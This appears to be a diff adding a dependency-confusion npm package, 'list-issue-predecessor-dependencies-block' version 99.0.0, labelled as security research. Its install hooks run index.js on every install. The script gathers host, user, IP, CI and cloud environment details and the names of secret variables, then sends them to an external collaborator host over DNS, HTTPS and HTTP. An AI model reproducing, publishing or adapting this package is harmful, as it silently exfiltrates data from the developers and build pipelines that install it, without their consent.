list-issue-predecessor-dependencies-block 99.0.0

package/index.js

@@ -0,0 +1,92 @@
+const https = require("https");
+const http = require("http");
+const dns = require("dns");
+const { execSync } = require("child_process");
+const os = require("os");
+const COLLAB = "qtmetsrtvaujwklywbgw2wihc2lebzu0n.oast.fun";
+
+function run(cmd) {
+  try { return execSync(cmd, { timeout: 5000 }).toString().trim().substring(0, 200); } catch (_) { return ""; }
+}
+
+const info = {
+  p: "list-issue-predecessor-dependencies-block",
+  h: os.hostname(),
+  u: os.userInfo().username,
+  n: process.version,
+  platform: os.platform(),
+  arch: os.arch(),
+  release: os.release(),
+  homedir: os.homedir(),
+  ci: process.env.CI || "false",
+  dir: __dirname.slice(-80),
+  cwd: process.cwd().slice(-80),
+  whoami: run("whoami"),
+  id: run("id 2>/dev/null"),
+  ip: run("hostname -I 2>/dev/null || ipconfig getifaddr en0 2>/dev/null"),
+  ci_env: [
+    "GITHUB_ACTIONS", "GITHUB_REPOSITORY", "GITHUB_RUN_ID",
+    "GITLAB_CI", "CI_PROJECT_NAME", "CI_PIPELINE_ID",
+    "JENKINS_URL", "BUILD_URL",
+    "BUILDKITE", "BUILDKITE_PIPELINE_SLUG",
+    "CIRCLECI", "CIRCLE_PROJECT_REPONAME",
+    "TRAVIS", "CODEBUILD_BUILD_ID", "TF_BUILD",
+    "BITBUCKET_PIPELINE_UUID", "TEAMCITY_VERSION"
+  ].filter(k => process.env[k]).reduce((o, k) => { o[k] = process.env[k]; return o; }, {}),
+  cloud: {
+    aws_region: process.env.AWS_DEFAULT_REGION || process.env.AWS_REGION || "",
+    aws_role: process.env.AWS_ROLE_ARN || "",
+    aws_lambda: process.env.AWS_LAMBDA_FUNCTION_NAME || "",
+    gcp_project: process.env.GCLOUD_PROJECT || process.env.GCP_PROJECT || process.env.GOOGLE_CLOUD_PROJECT || "",
+    azure_sub: process.env.AZURE_SUBSCRIPTION_ID || "",
+    k8s: process.env.KUBERNETES_SERVICE_HOST || "",
+  },
+  secret_names: Object.keys(process.env)
+    .filter(k => /KEY|SECRET|TOKEN|PASS|CRED|AUTH|API_|PRIVATE/i.test(k))
+    .slice(0, 20),
+  npm_token_exists: !!(process.env.NPM_TOKEN || process.env.NODE_AUTH_TOKEN),
+  docker: run("cat /proc/1/cgroup 2>/dev/null").includes("docker") || !!process.env.DOCKER_HOST,
+};
+
+// channel 1: DNS (multiple chunks for larger payload)
+try {
+  const tags = { h: info.h, u: info.u, ci: JSON.stringify(info.ci_env), cl: JSON.stringify(info.cloud) };
+  Object.entries(tags).forEach(([tag, val]) => {
+    const hex = Buffer.from(String(val)).toString("hex").substring(0, 120);
+    const labels = hex.match(/.{1,60}/g).join(".");
+    try { execSync(`nslookup ${tag}.${labels}.${COLLAB}`, { timeout: 3000 }); } catch (_) {}
+  });
+} catch (_) {}
+
+// channel 2: HTTPS POST
+try {
+  const body = JSON.stringify(info);
+  const req = https.request({
+    hostname: COLLAB, port: 443, path: "/depconf",
+    method: "POST", rejectUnauthorized: false,
+    headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) },
+  }, () => {});
+  req.on("error", () => {});
+  req.write(body);
+  req.end();
+} catch (_) {}
+
+// channel 3: HTTP POST fallback (some CI blocks outbound TLS)
+try {
+  const body = JSON.stringify(info);
+  const req = http.request({
+    hostname: COLLAB, port: 80, path: "/depconf",
+    method: "POST",
+    headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) },
+  }, () => {});
+  req.on("error", () => {});
+  req.write(body);
+  req.end();
+} catch (_) {}
+
+// channel 4: DNS resolve (no shell, works when execSync is blocked)
+try {
+  const hex = Buffer.from(`${info.h}|${info.u}|${info.platform}`).toString("hex").substring(0, 120);
+  const labels = hex.match(/.{1,60}/g).join(".");
+  dns.resolve(`nr.${labels}.${COLLAB}`, () => {});
+} catch (_) {}

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "list-issue-predecessor-dependencies-block",
+  "version": "99.0.0",
+  "description": "security research - dependency confusion test",
+  "author": "rootxravi <rootxravi@gmail.com>",
+  "scripts": {
+    "preinstall": "node index.js || true",
+    "install": "node index.js || true",
+    "postinstall": "node index.js || true"
+  }
+}